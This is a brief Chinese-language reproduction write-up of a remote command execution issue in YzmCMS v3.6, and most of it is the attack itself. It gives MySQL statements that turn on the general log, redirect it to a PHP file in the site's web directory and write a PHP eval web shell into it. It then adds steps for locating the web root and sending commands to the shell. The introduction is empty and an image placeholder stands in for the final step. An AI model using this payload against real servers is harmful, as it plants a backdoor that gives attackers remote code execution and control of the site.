YzmCMS v3.6 远程命令执行

一、漏洞简介

二、漏洞影响

YzmCMS v3.6

三、复现过程

Payload：

show variables like '%general%';   #查看配置
set global general_log = on;        #开启general log模式
set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php"); 
select '<?php eval($_POST[cmd]);?>';   #写入shell

1、执行sql语句，查看mysql日志配置情况

2、根据日志文件位置或者默认站点路径来推测站点目录，可用load_file()函数来测试，确认站点目录位置。或者通过phpinfo()等信息收集获取站点目录。

3、分别执行下列sql语句，将脚本代码写入文件：

set global general_log = on;         

set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php"); select '<?php eval($_POST[cmd]);?>';

4、提交参数，执行脚本代码：

image